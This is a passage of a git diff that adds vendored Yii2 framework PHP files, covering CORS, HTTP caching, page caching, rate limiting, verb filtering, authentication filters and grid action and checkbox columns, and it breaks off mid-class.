public function extractHeaders() + { + $headers = []; + $requestHeaders = array_keys($this->cors); + foreach ($requestHeaders as $headerField) { + $serverField = $this->headerizeToPhp($headerField); + $headerData = isset($_SERVER[$serverField]) ? $_SERVER[$serverField] : null; + if ($headerData !== null) { + $headers[$headerField] = $headerData; + } + } + return $headers; + } + + /** + * For each CORS headers create the specific response + * @param array $requestHeaders CORS headers we have detected + * @return array CORS headers ready to be sent + */ + public function prepareHeaders($requestHeaders) + { + $responseHeaders = []; + // handle Origin + if (isset($requestHeaders['Origin'])) { + if ((in_array('*', $this->cors['Origin']) === true) + || (in_array($requestHeaders['Origin'], $this->cors['Origin'])) + ) { + $responseHeaders['Access-Control-Allow-Origin'] = $requestHeaders['Origin']; + } + } + + + $this->prepareAllowHeaders('Headers', $requestHeaders, $responseHeaders); + + if (isset($requestHeaders['Access-Control-Request-Method'])) { + $responseHeaders['Access-Control-Allow-Methods'] = implode(', ', $this->cors['Access-Control-Request-Method']); + } + + if (isset($this->cors['Access-Control-Allow-Credentials'])) { + $responseHeaders['Access-Control-Allow-Credentials'] = $this->cors['Access-Control-Allow-Credentials'] ? 'true' : 'false'; + } + + if (isset($this->cors['Access-Control-Max-Age']) && Yii::$app->getRequest()->getIsOptions()) { + $responseHeaders['Access-Control-Max-Age'] = $this->cors['Access-Control-Max-Age']; + } + + return $responseHeaders; + } + + /** + * Handle classic CORS request to avoid duplicate code + * @param string $type the kind of headers we would handle + * @param array $requestHeaders CORS headers request by client + * @param array $responseHeaders CORS response headers sent to the client + */ + protected function prepareAllowHeaders($type, $requestHeaders, &$responseHeaders) + { + $requestHeaderField = 'Access-Control-Request-' . $type; + $responseHeaderField = 'Access-Control-Allow-' . $type; + if (isset($requestHeaders[$requestHeaderField])) { + if (in_array('*', $this->cors[$requestHeaderField])) { + $responseHeaders[$responseHeaderField] = $this->headerize($requestHeaders[$requestHeaderField]); + } else { + $requestedData = preg_split("/[\s,]+/", $requestHeaders[$requestHeaderField], -1, PREG_SPLIT_NO_EMPTY); + $acceptedData = []; + foreach ($requestedData as $req) { + $req = $this->headerize($req); + if (in_array($req, $this->cors[$requestHeaderField])) { + $acceptedData[] = $req; + } + } + if (empty($acceptedData) === false) { + $responseHeaders[$responseHeaderField] = implode(', ', $acceptedData); + } + } + } + } + + /** + * Adds the CORS headers to the response + * @param Response $response + * @param array CORS headers which have been computed + */ + public function addCorsHeaders($response, $headers) + { + if (empty($headers) === false) { + $responseHeaders = $response->getHeaders(); + foreach ($headers as $field => $value) { + $responseHeaders->set($field, $value); + } + } + } + + /** + * Convert any string (including php headers with HTTP prefix) to header format like : + * * X-PINGOTHER -> X-Pingother + * * X_PINGOTHER -> X-Pingother + * @param string $string string to convert + * @return string the result in "header" format + */ + protected function headerize($string) + { + $headers = preg_split("/[\\s,]+/", $string, -1, PREG_SPLIT_NO_EMPTY); + $headers = array_map(function ($element) { + return str_replace(' ', '-', ucwords(strtolower(str_replace(['_', '-'], [' ', ' '], $element)))); + }, $headers); + return implode(', ', $headers); + } + + /** + * Convert any string (including php headers with HTTP prefix) to header format like : + * * X-Pingother -> HTTP_X_PINGOTHER + * * X PINGOTHER -> HTTP_X_PINGOTHER + * @param string $string string to convert + * @return string the result in "php $_SERVER header" format + */ + protected function headerizeToPhp($string) + { + return 'HTTP_' . strtoupper(str_replace([' ', '-'], ['_', '_'], $string)); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/HttpCache.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/HttpCache.php new file mode 100644 index 00000000..423b2470 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/HttpCache.php @@ -0,0 +1,196 @@ + 'yii\filters\HttpCache', + * 'only' => ['index'], + * 'lastModified' => function ($action, $params) { + * $q = new \yii\db\Query(); + * return $q->from('user')->max('updated_at'); + * }, + * // 'etagSeed' => function ($action, $params) { + * // return // generate etag seed here + * // } + * ], + * ]; + * } + * ~~~ + * + * @author Da:Sourcerer + * @author Qiang Xue + * @since 2.0 + */ +class HttpCache extends ActionFilter +{ + /** + * @var callable a PHP callback that returns the UNIX timestamp of the last modification time. + * The callback's signature should be: + * + * ~~~ + * function ($action, $params) + * ~~~ + * + * where `$action` is the [[Action]] object that this filter is currently handling; + * `$params` takes the value of [[params]]. The callback should return a UNIX timestamp. + */ + public $lastModified; + /** + * @var callable a PHP callback that generates the Etag seed string. + * The callback's signature should be: + * + * ~~~ + * function ($action, $params) + * ~~~ + * + * where `$action` is the [[Action]] object that this filter is currently handling; + * `$params` takes the value of [[params]]. The callback should return a string serving + * as the seed for generating an Etag. + */ + public $etagSeed; + /** + * @var mixed additional parameters that should be passed to the [[lastModified]] and [[etagSeed]] callbacks. + */ + public $params; + /** + * @var string the value of the `Cache-Control` HTTP header. If null, the header will not be sent. + */ + public $cacheControlHeader = 'public, max-age=3600'; + /** + * @var string the name of the cache limiter to be set when [session_cache_limiter()](http://www.php.net/manual/en/function.session-cache-limiter.php) + * is called. The default value is an empty string, meaning turning off automatic sending of cache headers entirely. + * You may set this property to be `public`, `private`, `private_no_expire`, and `nocache`. + * Please refer to [session_cache_limiter()](http://www.php.net/manual/en/function.session-cache-limiter.php) + * for detailed explanation of these values. + * + * If this property is `null`, then `session_cache_limiter()` will not be called. As a result, + * PHP will send headers according to the `session.cache_limiter` PHP ini setting. + */ + public $sessionCacheLimiter = ''; + /** + * @var boolean a value indicating whether this filter should be enabled. + */ + public $enabled = true; + + + /** + * This method is invoked right before an action is to be executed (after all possible filters.) + * You may override this method to do last-minute preparation for the action. + * @param Action $action the action to be executed. + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + if (!$this->enabled) { + return true; + } + + $verb = Yii::$app->getRequest()->getMethod(); + if ($verb !== 'GET' && $verb !== 'HEAD' || $this->lastModified === null && $this->etagSeed === null) { + return true; + } + + $lastModified = $etag = null; + if ($this->lastModified !== null) { + $lastModified = call_user_func($this->lastModified, $action, $this->params); + } + if ($this->etagSeed !== null) { + $seed = call_user_func($this->etagSeed, $action, $this->params); + $etag = $this->generateEtag($seed); + } + + $this->sendCacheControlHeader(); + + $response = Yii::$app->getResponse(); + if ($etag !== null) { + $response->getHeaders()->set('Etag', $etag); + } + + if ($this->validateCache($lastModified, $etag)) { + $response->setStatusCode(304); + return false; + } + + if ($lastModified !== null) { + $response->getHeaders()->set('Last-Modified', gmdate('D, d M Y H:i:s', $lastModified) . ' GMT'); + } + + return true; + } + + /** + * Validates if the HTTP cache contains valid content. + * @param integer $lastModified the calculated Last-Modified value in terms of a UNIX timestamp. + * If null, the Last-Modified header will not be validated. + * @param string $etag the calculated ETag value. If null, the ETag header will not be validated. + * @return boolean whether the HTTP cache is still valid. + */ + protected function validateCache($lastModified, $etag) + { + if (isset($_SERVER['HTTP_IF_NONE_MATCH'])) { + // HTTP_IF_NONE_MATCH takes precedence over HTTP_IF_MODIFIED_SINCE + // http://tools.ietf.org/html/rfc7232#section-3.3 + return $etag !== null && in_array($etag, Yii::$app->request->getEtags(), true); + } elseif (isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])) { + return $lastModified !== null && @strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $lastModified; + } else { + return $etag === null && $lastModified === null; + } + } + + /** + * Sends the cache control header to the client + * @see cacheControlHeader + */ + protected function sendCacheControlHeader() + { + if ($this->sessionCacheLimiter !== null) { + if ($this->sessionCacheLimiter === '' && !headers_sent() && Yii::$app->getSession()->getIsActive()) { + header_remove('Expires'); + header_remove('Cache-Control'); + header_remove('Last-Modified'); + header_remove('Pragma'); + } + session_cache_limiter($this->sessionCacheLimiter); + } + + $headers = Yii::$app->getResponse()->getHeaders(); + $headers->set('Pragma'); + + if ($this->cacheControlHeader !== null) { + $headers->set('Cache-Control', $this->cacheControlHeader); + } + } + + /** + * Generates an Etag from the given seed string. + * @param string $seed Seed for the ETag + * @return string the generated Etag + */ + protected function generateEtag($seed) + { + return '"' . base64_encode(sha1($seed, true)) . '"'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/PageCache.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/PageCache.php new file mode 100644 index 00000000..6a4ffbf6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/PageCache.php @@ -0,0 +1,148 @@ + [ + * 'class' => 'yii\filters\PageCache', + * 'only' => ['index'], + * 'duration' => 60, + * 'dependency' => [ + * 'class' => 'yii\caching\DbDependency', + * 'sql' => 'SELECT COUNT(*) FROM post', + * ], + * 'variations' => [ + * \Yii::$app->language, + * ] + * ], + * ]; + * } + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class PageCache extends ActionFilter +{ + /** + * @var boolean whether the content being cached should be differentiated according to the route. + * A route consists of the requested controller ID and action ID. Defaults to true. + */ + public $varyByRoute = true; + /** + * @var string the application component ID of the [[\yii\caching\Cache|cache]] object. + */ + public $cache = 'cache'; + /** + * @var integer number of seconds that the data can remain valid in cache. + * Use 0 to indicate that the cached data will never expire. + */ + public $duration = 60; + /** + * @var array|Dependency the dependency that the cached content depends on. + * This can be either a [[Dependency]] object or a configuration array for creating the dependency object. + * For example, + * + * ~~~ + * [ + * 'class' => 'yii\caching\DbDependency', + * 'sql' => 'SELECT MAX(updated_at) FROM post', + * ] + * ~~~ + * + * would make the output cache depends on the last modified time of all posts. + * If any post has its modification time changed, the cached content would be invalidated. + */ + public $dependency; + /** + * @var array list of factors that would cause the variation of the content being cached. + * Each factor is a string representing a variation (e.g. the language, a GET parameter). + * The following variation setting will cause the content to be cached in different versions + * according to the current application language: + * + * ~~~ + * [ + * Yii::$app->language, + * ] + * ~~~ + */ + public $variations; + /** + * @var boolean whether to enable the fragment cache. You may use this property to turn on and off + * the fragment cache according to specific setting (e.g. enable fragment cache only for GET requests). + */ + public $enabled = true; + /** + * @var \yii\base\View the view component to use for caching. If not set, the default application view component + * [[\yii\web\Application::view]] will be used. + */ + public $view; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->view === null) { + $this->view = Yii::$app->getView(); + } + } + + /** + * This method is invoked right before an action is to be executed (after all possible filters.) + * You may override this method to do last-minute preparation for the action. + * @param Action $action the action to be executed. + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + $properties = []; + foreach (['cache', 'duration', 'dependency', 'variations', 'enabled'] as $name) { + $properties[$name] = $this->$name; + } + $id = $this->varyByRoute ? $action->getUniqueId() : __CLASS__; + ob_start(); + ob_implicit_flush(false); + if ($this->view->beginCache($id, $properties)) { + return true; + } else { + Yii::$app->getResponse()->content = ob_get_clean(); + return false; + } + } + + /** + * @inheritdoc + */ + public function afterAction($action, $result) + { + echo $result; + $this->view->endCache(); + return ob_get_clean(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/RateLimitInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/RateLimitInterface.php new file mode 100644 index 00000000..1236a43d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/RateLimitInterface.php @@ -0,0 +1,42 @@ + + * @since 2.0 + */ +interface RateLimitInterface +{ + /** + * Returns the maximum number of allowed requests and the window size. + * @param \yii\web\Request $request the current request + * @param \yii\base\Action $action the action to be executed + * @return array an array of two elements. The first element is the maximum number of allowed requests, + * and the second element is the size of the window in seconds. + */ + public function getRateLimit($request, $action); + /** + * Loads the number of allowed requests and the corresponding timestamp from a persistent storage. + * @param \yii\web\Request $request the current request + * @param \yii\base\Action $action the action to be executed + * @return array an array of two elements. The first element is the number of allowed requests, + * and the second element is the corresponding UNIX timestamp. + */ + public function loadAllowance($request, $action); + /** + * Saves the number of allowed requests and the corresponding timestamp to a persistent storage. + * @param \yii\web\Request $request the current request + * @param \yii\base\Action $action the action to be executed + * @param integer $allowance the number of allowed requests remaining. + * @param integer $timestamp the current timestamp. + */ + public function saveAllowance($request, $action, $allowance, $timestamp); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/RateLimiter.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/RateLimiter.php new file mode 100644 index 00000000..82ac9de5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/RateLimiter.php @@ -0,0 +1,133 @@ + [ + * 'class' => \yii\filters\RateLimiter::className(), + * ], + * ]; + * } + * ``` + * + * When the user has exceeded his rate limit, RateLimiter will throw a [[TooManyRequestsHttpException]] exception. + * + * Note that RateLimiter requires [[user]] to implement the [[RateLimitInterface]]. RateLimiter will + * do nothing if [[user]] is not set or does not implement [[RateLimitInterface]]. + * + * @author Qiang Xue + * @since 2.0 + */ +class RateLimiter extends ActionFilter +{ + /** + * @var boolean whether to include rate limit headers in the response + */ + public $enableRateLimitHeaders = true; + /** + * @var string the message to be displayed when rate limit exceeds + */ + public $errorMessage = 'Rate limit exceeded.'; + /** + * @var RateLimitInterface the user object that implements the RateLimitInterface. + * If not set, it will take the value of `Yii::$app->user->getIdentity(false)`. + */ + public $user; + /** + * @var Request the current request. If not set, the `request` application component will be used. + */ + public $request; + /** + * @var Response the response to be sent. If not set, the `response` application component will be used. + */ + public $response; + + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + $user = $this->user ? : Yii::$app->getUser()->getIdentity(false); + if ($user instanceof RateLimitInterface) { + Yii::trace('Check rate limit', __METHOD__); + $this->checkRateLimit( + $user, + $this->request ? : Yii::$app->getRequest(), + $this->response ? : Yii::$app->getResponse(), + $action + ); + } elseif ($user) { + Yii::info('Rate limit skipped: "user" does not implement RateLimitInterface.', __METHOD__); + } else { + Yii::info('Rate limit skipped: user not logged in.', __METHOD__); + } + return true; + } + + /** + * Checks whether the rate limit exceeds. + * @param RateLimitInterface $user the current user + * @param Request $request + * @param Response $response + * @param \yii\base\Action $action the action to be executed + * @throws TooManyRequestsHttpException if rate limit exceeds + */ + public function checkRateLimit($user, $request, $response, $action) + { + $current = time(); + + list ($limit, $window) = $user->getRateLimit($request, $action); + list ($allowance, $timestamp) = $user->loadAllowance($request, $action); + + $allowance += (int) (($current - $timestamp) * $limit / $window); + if ($allowance > $limit) { + $allowance = $limit; + } + + if ($allowance < 1) { + $user->saveAllowance($request, $action, 0, $current); + $this->addRateLimitHeaders($response, $limit, 0, $window); + throw new TooManyRequestsHttpException($this->errorMessage); + } else { + $user->saveAllowance($request, $action, $allowance - 1, $current); + $this->addRateLimitHeaders($response, $limit, $allowance - 1, (int) (($limit - $allowance) * $window / $limit)); + } + } + + /** + * Adds the rate limit headers to the response + * @param Response $response + * @param integer $limit the maximum number of allowed requests during a period + * @param integer $remaining the remaining number of allowed requests within the current period + * @param integer $reset the number of seconds to wait before having maximum number of allowed requests again + */ + public function addRateLimitHeaders($response, $limit, $remaining, $reset) + { + if ($this->enableRateLimitHeaders) { + $response->getHeaders() + ->set('X-Rate-Limit-Limit', $limit) + ->set('X-Rate-Limit-Remaining', $remaining) + ->set('X-Rate-Limit-Reset', $reset); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/VerbFilter.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/VerbFilter.php new file mode 100644 index 00000000..b2cdb107 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/VerbFilter.php @@ -0,0 +1,110 @@ + [ + * 'class' => \yii\filters\VerbFilter::className(), + * 'actions' => [ + * 'index' => ['get'], + * 'view' => ['get'], + * 'create' => ['get', 'post'], + * 'update' => ['get', 'put', 'post'], + * 'delete' => ['post', 'delete'], + * ], + * ], + * ]; + * } + * ~~~ + * + * @see http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7 + * @author Carsten Brandt + * @since 2.0 + */ +class VerbFilter extends Behavior +{ + /** + * @var array this property defines the allowed request methods for each action. + * For each action that should only support limited set of request methods + * you add an entry with the action id as array key and an array of + * allowed methods (e.g. GET, HEAD, PUT) as the value. + * If an action is not listed all request methods are considered allowed. + * + * You can use '*' to stand for all actions. When an action is explicitly + * specified, it takes precedence over the specification given by '*'. + * + * For example, + * + * ~~~ + * [ + * 'create' => ['get', 'post'], + * 'update' => ['get', 'put', 'post'], + * 'delete' => ['post', 'delete'], + * '*' => ['get'], + * ] + * ~~~ + */ + public $actions = []; + + + /** + * Declares event handlers for the [[owner]]'s events. + * @return array events (array keys) and the corresponding event handler methods (array values). + */ + public function events() + { + return [Controller::EVENT_BEFORE_ACTION => 'beforeAction']; + } + + /** + * @param ActionEvent $event + * @return boolean + * @throws MethodNotAllowedHttpException when the request method is not allowed. + */ + public function beforeAction($event) + { + $action = $event->action->id; + if (isset($this->actions[$action])) { + $verbs = $this->actions[$action]; + } elseif (isset($this->actions['*'])) { + $verbs = $this->actions['*']; + } else { + return $event->isValid; + } + + $verb = Yii::$app->getRequest()->getMethod(); + $allowed = array_map('strtoupper', $verbs); + if (!in_array($verb, $allowed)) { + $event->isValid = false; + // http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7 + Yii::$app->getResponse()->getHeaders()->set('Allow', implode(', ', $allowed)); + throw new MethodNotAllowedHttpException('Method Not Allowed. This url can only handle the following request methods: ' . implode(', ', $allowed) . '.'); + } + + return $event->isValid; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/AuthInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/AuthInterface.php new file mode 100644 index 00000000..66235a4c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/AuthInterface.php @@ -0,0 +1,46 @@ + + * @since 2.0 + */ +interface AuthInterface +{ + /** + * Authenticates the current user. + * @param User $user + * @param Request $request + * @param Response $response + * @return IdentityInterface the authenticated user identity. If authentication information is not provided, null will be returned. + * @throws UnauthorizedHttpException if authentication information is provided but is invalid. + */ + public function authenticate($user, $request, $response); + /** + * Generates challenges upon authentication failure. + * For example, some appropriate HTTP headers may be generated. + * @param Response $response + */ + public function challenge($response); + /** + * Handles authentication failure. + * The implementation should normally throw UnauthorizedHttpException to indicate authentication failure. + * @param Response $response + * @throws UnauthorizedHttpException + */ + public function handleFailure($response); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/AuthMethod.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/AuthMethod.php new file mode 100644 index 00000000..1ec8a60c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/AuthMethod.php @@ -0,0 +1,75 @@ + + * @since 2.0 + */ +abstract class AuthMethod extends ActionFilter implements AuthInterface +{ + /** + * @var User the user object representing the user authentication status. If not set, the `user` application component will be used. + */ + public $user; + /** + * @var Request the current request. If not set, the `request` application component will be used. + */ + public $request; + /** + * @var Response the response to be sent. If not set, the `response` application component will be used. + */ + public $response; + + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + $response = $this->response ? : Yii::$app->getResponse(); + + $identity = $this->authenticate( + $this->user ? : Yii::$app->getUser(), + $this->request ? : Yii::$app->getRequest(), + $response + ); + + if ($identity !== null) { + return true; + } else { + $this->challenge($response); + $this->handleFailure($response); + return false; + } + } + + /** + * @inheritdoc + */ + public function challenge($response) + { + } + + /** + * @inheritdoc + */ + public function handleFailure($response) + { + throw new UnauthorizedHttpException('You are requesting with an invalid credential.'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/CompositeAuth.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/CompositeAuth.php new file mode 100644 index 00000000..bfc24a12 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/CompositeAuth.php @@ -0,0 +1,90 @@ + [ + * 'class' => \yii\filters\auth\CompositeAuth::className(), + * 'authMethods' => [ + * \yii\filters\auth\HttpBasicAuth::className(), + * \yii\filters\auth\QueryParamAuth::className(), + * ], + * ], + * ]; + * } + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class CompositeAuth extends AuthMethod +{ + /** + * @var array the supported authentication methods. This property should take a list of supported + * authentication methods, each represented by an authentication class or configuration. + * + * If this property is empty, no authentication will be performed. + * + * Note that an auth method class must implement the [[\yii\filters\auth\AuthInterface]] interface. + */ + public $authMethods = []; + + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + return empty($this->authMethods) ? true : parent::beforeAction($action); + } + + /** + * @inheritdoc + */ + public function authenticate($user, $request, $response) + { + foreach ($this->authMethods as $i => $auth) { + $this->authMethods[$i] = $auth = Yii::createObject($auth); + if (!$auth instanceof AuthInterface) { + throw new InvalidConfigException(get_class($auth) . ' must implement yii\filters\auth\AuthInterface'); + } + + $identity = $auth->authenticate($user, $request, $response); + if ($identity !== null) { + return $identity; + } + } + + return null; + } + + /** + * @inheritdoc + */ + public function challenge($response) + { + foreach ($this->authMethods as $method) { + /** @var $method AuthInterface */ + $method->challenge($response); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/HttpBasicAuth.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/HttpBasicAuth.php new file mode 100644 index 00000000..a8795e15 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/HttpBasicAuth.php @@ -0,0 +1,94 @@ + [ + * 'class' => \yii\filters\auth\HttpBasicAuth::className(), + * ], + * ]; + * } + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class HttpBasicAuth extends AuthMethod +{ + /** + * @var string the HTTP authentication realm + */ + public $realm = 'api'; + /** + * @var callable a PHP callable that will authenticate the user with the HTTP basic auth information. + * The callable receives a username and a password as its parameters. It should return an identity object + * that matches the username and password. Null should be returned if there is no such identity. + * + * The following code is a typical implementation of this callable: + * + * ```php + * function ($username, $password) { + * return \app\models\User::findOne([ + * 'username' => $username, + * 'password' => $password, + * ]); + * } + * ``` + * + * If this property is not set, the username information will be considered as an access token + * while the password information will be ignored. The [[\yii\web\User::loginByAccessToken()]] + * method will be called to authenticate and login the user. + */ + public $auth; + + + /** + * @inheritdoc + */ + public function authenticate($user, $request, $response) + { + $username = $request->getAuthUser(); + $password = $request->getAuthPassword(); + + if ($this->auth) { + if ($username !== null || $password !== null) { + $identity = call_user_func($this->auth, $username, $password); + if ($identity !== null) { + $user->switchIdentity($identity); + } else { + $this->handleFailure($response); + } + return $identity; + } + } elseif ($username !== null) { + $identity = $user->loginByAccessToken($username, get_class($this)); + if ($identity === null) { + $this->handleFailure($response); + } + return $identity; + } + + return null; + } + + /** + * @inheritdoc + */ + public function challenge($response) + { + $response->getHeaders()->set('WWW-Authenticate', "Basic realm=\"{$this->realm}\""); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/HttpBearerAuth.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/HttpBearerAuth.php new file mode 100644 index 00000000..0aece20a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/HttpBearerAuth.php @@ -0,0 +1,61 @@ + [ + * 'class' => \yii\filters\auth\HttpBearerAuth::className(), + * ], + * ]; + * } + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class HttpBearerAuth extends AuthMethod +{ + /** + * @var string the HTTP authentication realm + */ + public $realm = 'api'; + + + /** + * @inheritdoc + */ + public function authenticate($user, $request, $response) + { + $authHeader = $request->getHeaders()->get('Authorization'); + if ($authHeader !== null && preg_match("/^Bearer\\s+(.*?)$/", $authHeader, $matches)) { + $identity = $user->loginByAccessToken($matches[1], get_class($this)); + if ($identity === null) { + $this->handleFailure($response); + } + return $identity; + } + + return null; + } + + /** + * @inheritdoc + */ + public function challenge($response) + { + $response->getHeaders()->set('WWW-Authenticate', "Bearer realm=\"{$this->realm}\""); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/QueryParamAuth.php b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/QueryParamAuth.php new file mode 100644 index 00000000..cd7888bd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/filters/auth/QueryParamAuth.php @@ -0,0 +1,42 @@ + + * @since 2.0 + */ +class QueryParamAuth extends AuthMethod +{ + /** + * @var string the parameter name for passing the access token + */ + public $tokenParam = 'access-token'; + + + /** + * @inheritdoc + */ + public function authenticate($user, $request, $response) + { + $accessToken = $request->get($this->tokenParam); + if (is_string($accessToken)) { + $identity = $user->loginByAccessToken($accessToken, get_class($this)); + if ($identity !== null) { + return $identity; + } + } + if ($accessToken !== null) { + $this->handleFailure($response); + } + + return null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/ActionColumn.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/ActionColumn.php new file mode 100644 index 00000000..65ede7c4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/ActionColumn.php @@ -0,0 +1,164 @@ + [ + * // ... + * [ + * 'class' => 'yii\grid\ActionColumn', + * // you may configure additional properties here + * ], + * ] + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class ActionColumn extends Column +{ + /** + * @var string the ID of the controller that should handle the actions specified here. + * If not set, it will use the currently active controller. This property is mainly used by + * [[urlCreator]] to create URLs for different actions. The value of this property will be prefixed + * to each action name to form the route of the action. + */ + public $controller; + /** + * @var string the template used for composing each cell in the action column. + * Tokens enclosed within curly brackets are treated as controller action IDs (also called *button names* + * in the context of action column). They will be replaced by the corresponding button rendering callbacks + * specified in [[buttons]]. For example, the token `{view}` will be replaced by the result of + * the callback `buttons['view']`. If a callback cannot be found, the token will be replaced with an empty string. + * @see buttons + */ + public $template = '{view} {update} {delete}'; + /** + * @var array button rendering callbacks. The array keys are the button names (without curly brackets), + * and the values are the corresponding button rendering callbacks. The callbacks should use the following + * signature: + * + * ```php + * function ($url, $model, $key) { + * // return the button HTML code + * } + * ``` + * + * where `$url` is the URL that the column creates for the button, `$model` is the model object + * being rendered for the current row, and `$key` is the key of the model in the data provider array. + * + * You can add further conditions to the button, for example only display it, when the model is + * editable (here assuming you have a status field that indicates that): + * + * ```php + * [ + * 'update' => function ($url, $model, $key) { + * return $model->status == 'editable' ? Html::a('Update', $url) : ''; + * }; + * ], + * ``` + */ + public $buttons = []; + /** + * @var callable a callback that creates a button URL using the specified model information. + * The signature of the callback should be the same as that of [[createUrl()]]. + * If this property is not set, button URLs will be created using [[createUrl()]]. + */ + public $urlCreator; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + $this->initDefaultButtons(); + } + + /** + * Initializes the default button rendering callbacks + */ + protected function initDefaultButtons() + { + if (!isset($this->buttons['view'])) { + $this->buttons['view'] = function ($url, $model) { + return Html::a('', $url, [ + 'title' => Yii::t('yii', 'View'), + 'data-pjax' => '0', + ]); + }; + } + if (!isset($this->buttons['update'])) { + $this->buttons['update'] = function ($url, $model) { + return Html::a('', $url, [ + 'title' => Yii::t('yii', 'Update'), + 'data-pjax' => '0', + ]); + }; + } + if (!isset($this->buttons['delete'])) { + $this->buttons['delete'] = function ($url, $model) { + return Html::a('', $url, [ + 'title' => Yii::t('yii', 'Delete'), + 'data-confirm' => Yii::t('yii', 'Are you sure you want to delete this item?'), + 'data-method' => 'post', + 'data-pjax' => '0', + ]); + }; + } + } + + /** + * Creates a URL for the given action and model. + * This method is called for each button and each row. + * @param string $action the button name (or action ID) + * @param \yii\db\ActiveRecord $model the data model + * @param mixed $key the key associated with the data model + * @param integer $index the current row index + * @return string the created URL + */ + public function createUrl($action, $model, $key, $index) + { + if ($this->urlCreator instanceof Closure) { + return call_user_func($this->urlCreator, $action, $model, $key, $index); + } else { + $params = is_array($key) ? $key : ['id' => (string) $key]; + $params[0] = $this->controller ? $this->controller . '/' . $action : $action; + + return Url::toRoute($params); + } + } + + /** + * @inheritdoc + */ + protected function renderDataCellContent($model, $key, $index) + { + return preg_replace_callback('/\\{([\w\-\/]+)\\}/', function ($matches) use ($model, $key, $index) { + $name = $matches[1]; + if (isset($this->buttons[$name])) { + $url = $this->createUrl($name, $model, $key, $index); + + return call_user_func($this->buttons[$name], $url, $model, $key); + } else { + return ''; + } + }, $this->template); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/CheckboxColumn.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/CheckboxColumn.php new file mode 100644 index 00000000..994600a6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/CheckboxColumn.php @@ -0,0 +1,113 @@ + [ + * // ... + * [ + * 'class' => 'yii\grid\CheckboxColumn', + * // you may configure additional properties here + * ], + * ] + * ``` + * + * Users may click on the checkboxes to select rows of the grid. The selected rows may be + * obtained by calling the following JavaScript code: + * + * ~~~ + * var keys = $('#grid').yiiGridView('getSelectedRows'); + * // keys is an array consisting of the keys associated with the selected rows + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class CheckboxColumn extends Column +{ + /** + * @var string the name of the input checkbox input fields. This will be appended with `[]` to ensure it is an array. + */ + public $name = 'selection'; + /** + * @var array|\Closure the HTML attributes for checkboxes. This can either be an array of + * attributes or an anonymous function ([[Closure]]) that returns such an array. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $checkboxOptions = []; + /** + * @var bool whether it is possible to select multiple rows. Defaults to `true`. + */ + public $multiple = true; + + + /** + * @inheritdoc + * @throws \yii\base\InvalidConfigException if [[name]] is not set. + */ + public function init() + { + parent::init(); + if (empty($this->name)) { + throw new InvalidConfigException('The "name" property must be set.'); + } + if (substr_compare($this->name, '[]', -2, 2)) { + $this->name .= '[]'; + } + } + + /** + * Renders the header cell content. + * The default implementation simply renders [[header]]. + * This method may be overridden to customize the rendering of the header cell. + * @return string the rendering result + */ + protected function renderHeaderCellContent() + { + $name = rtrim($this->name, '[]') . '_all'; + $id = $this->grid->options['id']; + $options = json_encode([ + 'name' => 